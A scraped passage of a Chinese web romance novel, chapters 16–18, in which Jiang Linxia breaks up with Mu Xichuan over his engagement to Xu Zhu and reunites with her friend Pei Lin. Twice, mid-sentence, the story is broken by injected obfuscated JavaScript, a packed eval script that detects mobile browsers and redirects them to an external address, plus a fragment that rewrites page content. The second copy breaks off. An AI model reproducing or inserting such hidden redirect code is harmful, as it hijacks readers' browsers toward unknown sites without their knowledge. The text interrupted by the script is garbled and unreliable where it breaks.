姜临夏笑笑:“你知道一个女人最无能的表现是什么吗?就是搞不定想搞的男人,只好背后偷偷找女人说事。” 她起身走到桌旁,垂眸看着许烛:“我不关心你和慕锡川之间协商过什么,这是你们的事,我不好奇也不想知道。但请你以后还是少出现在我面前,我很忙,没空陪你玩抢男人的游戏,也不稀罕玩儿。”说完,头也不回地离开了咖啡馆。 看着姜临夏一脸嚣张地走远,许烛气得浑身发抖:“姜临夏,你给我等着!” 明明是她想给姜临夏来个下马威的,却没想到被人家反杀了,这口气实在咽不下去! -- 离开咖啡馆后,姜临夏发动车子,漫无目的地沿街往前开着。 其实已经有一小段时间了,她能感觉到慕锡川有事瞒着自己。虽然她习惯了不去过问慕锡川的私事,可两个人在一起时间久了,总会有些说不清道不明的直觉的。 就像慕锡川总能从她的只言片语里听出细微的情绪变化一样,她也能捕捉到慕锡川的改变,哪怕只是些存在于细枝末节中的改变。 直到昨晚接到许烛的电话,姜临夏才意识到,自己一直以来活得多么像一个笑话。 慕锡川明知道她有多想结婚,却一边骗她说自己不婚,一边又转过头去跟别人订了婚。原来他所谓的不婚,只是不跟她结婚罢了。 虽然很残酷,但姜临夏却不得不承认,刚刚许烛有句话说的很对:像慕锡川这样的家世,是不可能随随便便找个人结婚的。他终究要回归正道的,而那条正道,无论是不是许烛,都一定不会是她姜临夏。 门不当户不对才是原罪。 难怪这些年慕锡川始终是一个高高在上的姿态,原来在他眼里,是她不配了。 其实那天姜临夏说完分手,就该坚定地分开的。如果那时没有心软,没有舍不得这段孽缘,今天她也就不用在人家未婚妻的面前如此难堪。 这偷来的两个月的欢愉,也该结束了。 刚刚跟许烛之间的那场较量,看似是姜临夏赢了,但实际上,她们两个都是输家,都输给了慕锡川为她们营造出来的幸福假象里。 她说许烛无能,说许烛不清醒,可她自己又好到哪里去呢? 面前是一个火坑,睁眼跳和闭眼跳都是死路一条,究竟谁的样子更加狼狈,又有什么好比较的? 想到这儿,姜临夏忽然心生悲凉。 她找了个路边的停车位,把车停好后拿出手机,点开慕锡川的聊天框。一条消息反复编辑了几次,才终于写下一句【晚上回来一趟,有事说】点击发送。 本以为慕锡川不会很快有回应,却没想到,消息刚一发出,他的电话就打了进来。可这会儿姜临夏心里很乱,不知道该如何去面对他,干脆按了拒接键。 深深舒了口气后,姜临夏重新启动车子,朝着家的方向开去。 九月初的陵城正是好时节,秋高云淡,树叶苍翠,是姜临夏最喜欢的月份。 可如今心境不同了,一想到马上就要亲手结束这场持续了四年之久的感情,看着车窗外的青天白日,她只觉得格外刺眼。 17. 第 17 章 另一边,陵越总部会议室。 电话打通后,响了几声却被挂断。听着冰冷的机械音反复提醒着“您所拨打的电话暂时无人接听”,慕锡川不禁蹙紧了眉头。 最近姜临夏好像特别粘人,这才两天没联系,她就主动叫慕锡川回家,以前他出差在外,不知是故意较劲还是怎么,十天半个月不回来也没见她急过。 可明明是姜临夏先发来的消息,慕锡川回拨过去,她却不接电话,不知道又在搞什么花样。 业务组组长汇报完项目进度,见慕锡川一直没给出回应,还以为他不满意,只好硬着头皮问道:“慕总,您要是觉得工期还长的话,我可以再去跟施工队伍沟通一下,主要是跨冬季施工,可能缩短不了几天。” 慕锡川回过神,快速扫了眼投影上的网络表格:“可以,你自己看着办吧。下一个,还有谁要汇报的?我赶时间。” 一下午的会结束后,慕锡川一刻没多停留,拎起西装外套就往外走。 结果刚走出两步,就被人拦在会议室门口,一回头,孙耀南正眯着一双眼睛对他笑:“喝两杯去?我有个哥们儿,酒吧新开业,跟我一块儿去给他捧捧场?” 慕锡川拒绝得干脆:“不去,有事。” 孙耀南不信:“这眼看着都下班了,你还能有什么事?当老板的不能总窝在公司里加班,你不走谁敢走啊,还让不让员工活了?走吧走吧,喝两杯,放松放松嘛。” “没空,临夏在家等我呢。”说完,慕锡川迈步进了电梯,留下孙耀南不可置信地愣在原地。 他们两个什么时候这么恩爱了?还有,慕哥这是有门禁了? 虽然孙耀南知道,慕锡川对姜临夏和对别人不一样,可这么多年还从没见过他用哪个女人当借口拒绝酒局呢。他现在这个样子,倒有种回归家庭的意思。 等慕锡川把车子停进地库里,低头看了眼手表,时间刚好五点整。 推开家门,姜临夏没有像往常那样跑过来扑进他的怀里,迎接他,而是背对着大门的方向,站在落地窗前,不知向外在看什么。 慕锡川走过去,从身后将人环住,下巴搭在姜临夏的肩上,柔声问道:“想我了?” 话音落,屋内一片沉寂。 姜临夏少见地没作任何回应,也没有推开慕锡川,只是僵直地站在原地。 片刻后,她声音淡淡道:“分手吧,慕锡川。” 慕锡川原本环在她腰间的手臂一顿:“你说什么?”不知是没听清,还是难以置信。 姜临夏拂开慕锡川的手,转身盯着他的眼睛,一字一句重复道:“我说,慕锡川,我们分手吧。” 听清她的话后,慕锡川直起身子,眉头紧蹙:“你这又是在闹哪出?” “我没和你闹,我在很认真地和你说分手。” 见她又是这副公事公办的死样子,慕锡川心中忽然升起一股躁意来:“姜临夏,好端端的你又提什么分手?就因为我昨天晚上没回来?以前我也经常不在这里过夜,也没见你闹过,是不是最近我太顺着你,让你脾气也见长了,隔三差五就来上这么一出?” “好端端的?”姜临夏觉着好笑,都这个时候了,他居然还在自己面前装无辜,甚至还妄想把脏水泼到她的头上。 可惜姜临夏已经没兴趣再陪他演下去了,于是开门见山道:“既然你已经订婚了,就去找你的未婚妻,别再来我这儿了,我没兴趣做谁的情人。” 原来是这事儿。 慕锡川的脸色倏地沉了下来,问姜临夏:“你怎么知道我订婚的事?” 没想到他竟然是这么个反应,明明自己做错了事,反倒质问起了受害者。 姜临夏冷笑一声:“我不该知道吗?可是你的未婚妻都已经找上门来了,她生怕我还被你蒙在鼓里呢。怎么,你们俩出门前忘记对口供了?” “不是你想的那样,临夏,我可以给你解释。”说着,慕锡川上前一步,想要去拉姜临夏的手,却不想被她一下甩开。 “我想不出你有什么好解释的,难道订婚的人不是你?” “是我,但我跟许烛的订婚是假的,只是为了推进两家的合作。因为这次合作项目比较大,许宗瑞担心事先谈好的分配方案没有保障,就走个了订婚的形式。” “怕利益得不到保障,那就去签分配合同啊,为什么要订婚?慕锡川,在你眼里我到底是个什么样的人?你是不是觉得,不论你说什么荒唐话,我都会无条件地相信你?” “为了合作,你们现在能订婚,那以后是不是也可以结婚?难道等你跟许烛拿了结婚证的时候,还要告诉我那只是为了合作而假装结婚?慕锡川,你骗傻子呢!” 姜临夏的声音有些颤抖,不论她再怎么努力伪装,也掩饰不住内心的在意。 慕锡川觉察到了她的崩溃,只可惜,他这辈子都没想过自己也有要去哄别人的一天,所以他根本不懂什么叫服软。 他看着姜临夏,尝试了半天,也只是挤出一句:“临夏,我没有骗你,我跟许烛订婚真的只是为了合作。我不清楚她都跟你说了些什么,但你知道的,我不会跟任何人结婚,所以你没有必要和她争。” 争? 人在极度无语的时候,真的会笑一下,此刻的姜临夏就是这样。 看着慕锡川那张欠揍的脸,她没忍住笑出了声:“你觉得我是在跟她争?慕锡川,究竟是谁给你的自信,竟然让你觉得全世界的女人都该围着你转?简直可笑至极!要我把话再说得明白露骨些吗?我没在争,也什么都不想争,我只是单纯地在和你说分手!慕锡川,分手吧,我不要你了!” 慕锡川伸手要去抱姜临夏,可手刚伸出去,来电铃声却忽然响起,他摸出手机,屏幕上显示着许烛的名字。 他不想在这个时候再进一步刺激姜临夏,于是按下了挂断键。可显然许烛并不是个有眼力见儿的人,第一通电话刚挂断没两秒钟,第二通又打了进来。 姜临夏被那刺耳的铃声吵得心烦意乱,面无表情地催促道:“赶快接吧,别让你的未婚妻等着急了。”声音平静,无悲无喜。 慕锡川最怕她这副模样,冷漠得如同陌生人一样。仿佛是急于证明自己跟的清白,这次慕锡川按下接通键后,又点开了公放。 “喂?” 很快,听筒里传来了许烛的声音:“阿川,我今天好像做错事了。”语气里带着十二分的慌张,都不用亲眼看,姜临夏就能想象出她在电话那头装模作样摆出的可怜模样,简直让人反胃。 姜临夏抬腿就想走,但慕锡川拉住她不放,又问许烛:“你做什么了?” “阿川,我今天去找临夏了,我真不是故意的,就是当时头脑不清醒,可能说了些有歧义的话,让她对我们的订婚有了误会。阿川,你能联系上她吗?我想当面跟她道歉。” “道歉就不必了。”他擅自提姜临夏做了主,“你在哪儿呢?” “我在风澜居。” “知道了。”说完,慕锡川挂断电话。 他看着姜临夏,一副清者自清的表情道:“我都说了,我跟许烛的订婚是假的,这下你信了吧?” 姜临夏木然地摇摇头:“到底是真的还是假的,我已经不关心了。你走吧,慕锡川,我这里不欢迎你。” 见她油盐不进,慕锡川有些不耐烦,他这辈子还是第一次自证清白来哄人,结果对方却不知道见好就收。 “该解释的我都已经解释过了,订婚本来就是假的,你还想让我怎么样?” “想让你滚。”姜临夏低着头,声音极轻地说到,仿佛被抽去了最后一丝力气。她费劲地走回卧室,身子向前一扑,趴到床上,便一动也不想再动。 慕锡川不忍再和她起争执,顺着她道:“好,我滚,我现在就去警告许烛,让她以后再也不许来找你了!你好好休息,冷静冷静,过几天我再来看你。” 直到大门开了又关,刚刚一直强忍住的眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375502|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才顺着姜临夏的眼角滑落下来。 慕锡川走了,房间里再次归于平静。四年的感情就这样结束了,她的心也空了。 -- 从公寓出来后,慕锡川开车直奔风澜居。 远远看见他停好车,走进餐厅大门,许烛呼吸一滞。其实刚刚她在电话里表现出来的慌张和不安,也不全是演的。 许烛跟慕锡川是发小,是从生下来就一起长大的朋友。这些年,除了姜临夏外,慕锡川的身边再没有过第二个女人,她明白姜临夏在慕锡川心中的地位之高,这也正是令她嫉妒到发狂的症结所在。 所以,即便是冒着撕破脸的风险,她也要去找姜临夏,目的就是要让她知难而退。 慕锡川走到许烛的身边坐下,没有多余的开场白,单刀直入道:“你不该去找姜临夏。订婚那天我就说过,出了酒店的那道门,这事儿不许让任何人知道,尤其是姜临夏。可你偏偏明知故犯,是要挑战我的底线吗?” 许烛微微垂眸:“阿川,我知道擅作主张去找姜临夏是我的错,可我们订婚是真,我是你的未婚妻,这件事上我并没有骗她。” 慕锡川:“我的未婚妻?许烛,我们订婚只是为了合作,这一点你心知肚明。” “可是,老爷子是不会同意你和姜临夏在一起的,你们不论是身份地位还是家世背景,都相差悬殊。老爷子是绝不可能让姜临夏进慕家大门的。” “我的事他管不着,也不需要你来操心。” 沉默片刻后,许烛再次抬起头,眼眶中已经充盈着泪水,她望着慕锡川,颤声道:“我知道我去找姜临夏让你不高兴了,可是阿川,爱一个人有错吗?我爱了你这么多年,我不信你看不懂我的心。” 可惜慕锡川并非懂得怜香惜玉的人,他看着许烛,冷声道:“我们之间只能走到朋友的界限,你心里清楚的。如果你再继续这样一意孤行,那合作的事也大可不必了。” 说着,他起身就要往外走。 情急之下,许烛一把扯住慕锡川的袖子,明知是自讨无趣,但还是不死心地问道:“阿川,你爱姜临夏吗?” “不关你的事。” 知道慕锡川这人吃软不吃硬,见他面露不悦,许烛又打起了弱势牌:“那我呢?当初我为你受的伤又算什么呢?你那时就答应过我,永远都不会不管我的。现在就因为一个姜临夏,你就要否定我们的过往吗?你曾经对我说过的话也都不算数了吗?”她赌慕锡川对她还有愧疚。 果然,慕锡川闻言脚下一滞,某段昏暗不堪的过往倏然浮现在眼前。 那时他妈妈已经过世了,年少的慕锡川因为目睹了血腥惨烈的场面,内心深处产生了无法言说的复杂情绪--恐惧,悲恸,绝望,还有时不时冒出来的厌世情结。 之后的两三年时间里,他一直过得浑浑噩噩,翘课逃学,到处跟人打架,谁也管不了他。慕春林甚至几度想把这个不争气的儿子赶出家门,让他自生自灭。 结果有天夜里,他独自在外游荡的时候被一群混混围堵,慕锡川一人单挑好几个。起初还能占上风,可对面人多势众,打到后来他实在体力不支,重重挨了几拳后匐倒在地。 见他快要支撑不住,其中一个混混抽出把刀搞偷袭,这一幕却刚好被路过的许烛撞见。许烛扑过去替他挡了那一刀,虽然没有生命危险,但也受伤严重,流了不少血。 正是因为这件事,慕锡川这些年一直对她很宽容,甚至可以说是纵容。在他掌管陵越之后,也给了许氏集团很多扶持。 一想起那段过往,慕锡川仿佛还能闻见那晚空气中弥漫的血腥味。 他有些无奈地看着许烛,语气也下意识轻柔起来:“我对你的承诺不变,但当年的事不能跟现在混为一谈,以后有什么事你直接来找我,别再把姜临夏牵扯进来了。” 看着慕锡川渐远的背影,许烛默默在心里发誓:姜临夏,还从来没人敢和我抢男人,我绝对不会让你如愿的。 18. 第 18 章 每年从九月中旬开始,都是姜临夏最忙碌的时候,因为接下来的十一期间,几大卫视要联合举办一场影视剧晚会。届时,各路大小明星艺人都会应邀出席,拍摄定妆照自然是个不可或缺的环节。 自打前段时间跟慕锡川彻底闹掰后,姜临夏便心无旁骛地一头扎进工作里,每天从早到晚不间断地拍摄、修图,循环往复,主动榨干自己的每一滴价值。 当所有精力都被工作占据,她就再没时间顾影自怜,心中的那块缺口也在无形之中一点点填补修复着。 早在一周前,周笛就嚷着好久没有出去吃饭逛街了,让姜临夏陪她一起。 看着手里成堆的订单,姜临夏几番拒绝之后,终于答应在十三号这天提前收工,陪她一起去吃那家名叫“鱼的一千种做法”的店。 见姜临夏从迈进工作室大门起就一直沉默着,不说话也没笑过,偶尔还看着窗外发呆,周笛猜出她有烦心事。于是端了两杯咖啡坐到姜临夏的对面:“尝尝,手泡咖啡。” 姜临夏对着咖啡研究半天:“人家都是手冲咖啡,你这手泡咖啡又是什么啊?” “不懂了吧?这手泡咖啡,就是你笛子姐我亲手泡的速溶咖啡!” 听完这个很“周笛”的解释,姜临夏“噗嗤”一声笑了出来:“你要是去当律师,肯定没有败诉记录,能把法官都给说晕了。” 见她终于有了笑模样,周笛这才敢问她:“总算笑了,刚刚怎么一直沉着张脸,有心事?” 姜临夏抿了口咖啡,摇摇头:“没,可能最近太忙了吧,没休息好。” 其实并非刻意对周笛隐瞒什么,只是她和慕锡川之间的事不是一句两句就能说得清的,况且,她现在也没有想要复盘那段失败感情的打算,索性就把这些过往都烂在肚子里。 周笛看着她,没说话。她认识姜临夏七八年了,她到底是因为没休息好,还是心里藏着事,周笛一眼就能辨别出来。既然她不想说,周笛也没有强求。 两人对坐在落地窗前喝咖啡,窗外是一棵百年樟树,枝叶繁茂,浓荫蔽日。再往远处看,离开樟叶的庇护,又是一派晴空万里的景象。 一杯咖啡见底,周笛的助理敲门进来:“夏夏姐,有人找。” “找我?”姜临夏惊讶地指了指自己,平时她都待在棚里,很少来工作室,实在想不出谁会到这边来找她。 “对,”小助理点点头,“是个男的,姓裴,说是夏夏姐的朋友。”说完又补充了一句,“长得还挺帅的!” 原来是裴临啊。 姜临夏起身往外走,周笛也急忙跟了上去:“谁啊?姓裴的朋友?是裴院长那个刚从国外回来的儿子吗?” “应该是吧,我也不认识其他姓裴的。” 果然,刚走出办公室,姜临夏就远远看见裴临站在前台那边,不时地往里面看两眼。 她快步穿过办公区,走到裴临身边:“哥,你怎么来了?有事找我?” 裴临笑着从衣服口袋里抽出一张塑料卡片,递给姜临夏看:“我今天去明湖医院报道了,周一正式入职。刚才取完工作牌发现医院离你工作室不远,也不知道你这会儿在不在,就想着来碰碰运气,没想到你真的在。” 姜临夏拿着那张工作牌左看看右看看:“恭喜你啊,哥,伯父伯母知道了肯定很高兴。” 裴临看着她,没头没脑地来了一句:“那你高兴吗?” “啊?”姜临夏被他问得一愣,“我当然也高兴啊,你能回来,咱们也算是一家人团聚了。你都不知道,这几年你不在国内,可把伯父伯母想坏了,去年春节的时候,我还看到伯母偷偷抹眼泪呢!” “是么..”大概是没听见自己想听的答案,裴临的眼底闪过一丝无奈。 不过,这份无奈很快就被一旁的周笛打破了,她看着裴临:“你就是裴院长的儿子吧?” 裴临忙点头:“对,你好,我叫裴临,是夏夏的....” “我哥。”姜临夏接过话,给他们两个介绍着,“我哥是医生,刚刚入职明湖医院,以后就在陵城定居啦。” 她又对裴临道:“哥,这位就是我跟你说过的笛子姐,周笛,我的工作室合伙人。” 裴临主动伸出手:“久仰久仰,感谢周小姐这么多年对夏夏的照顾。” 周笛也回握上去:“裴先生客气了,我一直把夏夏当妹妹看,谈不上什么照顾不照顾的。” 两人你来我往地寒暄着,姜临夏看了眼时间,已经五点二十了。 晚餐定在六点整,从这里过去还有接近半小时的车程,于是提议道:“笛子姐,差不多该出发了,不然你们家老孟该等急了。” 说着,她又看向裴临:“哥,你晚上有事吗?要不要跟我们一起去吃饭?” “是啊,”周笛也附和着,“我跟夏夏晚上约好要一起去吃鱼的,裴先生如果不忙的话就一起吧?刚好我们四个人凑满一桌。” “好啊。”原本裴临过来就是想叫姜临夏一起吃晚饭的,既然她们先提起,他也没有拒绝,“我的车就停在门口,一起走吧。” “好啊。” 三人说着话,一道出了工作室的大门。 裴临的那辆银灰色奔驰就停在百年樟树的正下方,刚刚在窗边坐了那么长时间,姜临夏也没注意到这车是什么时候停过来的。 她拉开车门,正要坐进去,忽然瞥见前面不远处停着一辆黑色宾利。 车门被人从里面推开,随后慕锡川走出驾驶室,缓缓朝着姜临夏这边过来。 两人紧紧注视着彼此,隔着不到十米的距离无声相望。不过两周不见,姜临夏却忽然觉得,眼前的人有种说不出的陌生感。 片刻的恍惚过后,她快速钻进车里:“哥,开车!”她不想再跟慕锡川有任何牵扯,怕再多看一眼,自己又会没出息地心软。 “哦,好!”裴临不知道车外的男人是谁,但他听出了姜临夏语气中的急切,于是快速启动车子离开。 在经过慕锡川身边的时候,尽管隔着一层厚厚的车门,姜临夏还是感受到了一股无形的压迫感。 不用看她也知道,慕锡川一定很生气,但她已经管不了那么多了,她早已千疮百孔,自顾不暇。 裴临一路将车开到鱼馆门前停下,孟启不知从哪儿冒了出来。 周笛拉着他介绍给裴临认识,两个男人聊事业聊工作,又聊到各自的兴趣爱好,还不等菜品上桌就已经熟识起来,有种相见恨晚的感觉。 孟启虽然对医疗行业了解得不多,但也知道想取得博士学位是一件很艰难的事,尤其还是在国外的大环境下,要求就更加严苛了。 他没忍住问出了心中的疑惑:“裴临,既然你在国外读完了博士,也拿到了不错的工作offer,怎么会突然想回国发展呢?” 这个问题其实很多人都问过,裴临也不止一次地解释过:“我是陵城人,父母亲人都在这边,不想远走他乡。况且,我本身也更习惯国内的生活,中餐可比那些蒸土豆拌沙拉好吃多了。” “哈哈!这个确实!”提起国内外的美食差异来,周笛第一个赞同。 不过,还有一个最重要的原因他始终没对任何人说过,今天却第一次主动提起:“其实我会放弃国外的一切,选择回国重新开始,主要是因为一个人。我喜欢了她很多年,却一直没能亲口告诉她。我们之间总是因为各种各样的事情错过,后来我又出国了,中间隔着十几个小时的时差,就更不敢说了。这次回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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其余三个人有说有笑地吃完了这顿饭,唯独裴临的心思再没办法放在美食上了。 天地良心,周笛口中的那个人其实是慕锡川,可说者无心听者有意,这话传进裴临的耳朵里,却成了一段阴差阳错的冲锋号。 -- 这顿饭一直吃到快夜里九点才结束,周笛和孟启跟朋友约了第二场,于是先走一步。 鱼馆离姜临夏的公寓很近,她本想自己走路回去,但裴临坚持要送她:“这大晚上的,你一个女孩子在外面不安全,还是我陪你一起走过去吧。” “那好吧。”姜临夏没再拒绝,跟裴临一左一右朝着公寓走去。 一路上,裴临都在回味着周笛刚刚饭桌上的那番话,他想亲自向姜临夏求证,却不知道该如何开口,怕这样的唐突会给她带来困扰。 眼看着姜临夏就要进公寓大楼了,他才终于鼓起勇气,开口道:“那个,临夏,我有个事想问你。” 姜临夏停下脚步:“怎么了?” “这么多年,你为什么一直没谈恋爱?” 虽然不知道裴临怎么会对这个感兴趣,但姜临夏觉得还是有必要为自己正名一下的:“你别听周笛乱讲,我没有不谈恋爱,我只是....” 不等她说完,一道黑影闪过,慕锡川不知道从哪里冒了出来。他一把扯住姜临夏的手腕,把人往公寓楼里带:“回家。” “放开我!慕锡川!”姜临夏想挣开他的钳制,却无奈力量悬殊,全是徒劳。 慕锡川不但不松手,反而攥得更紧了,声音阴冷地重复道:“跟我回家。”说着,刷开了门禁,把人拖进楼里。 裴临来不及制止,公寓楼的大门就在他面前轰然关上。 看着两人消失的方向,裴临心生疑惑:刚刚冒出来的男人,不就是去工作室门口找夏夏的那个吗?他是夏夏的朋友吗? 可是,普通朋友的话,又怎么会有她家的门禁呢?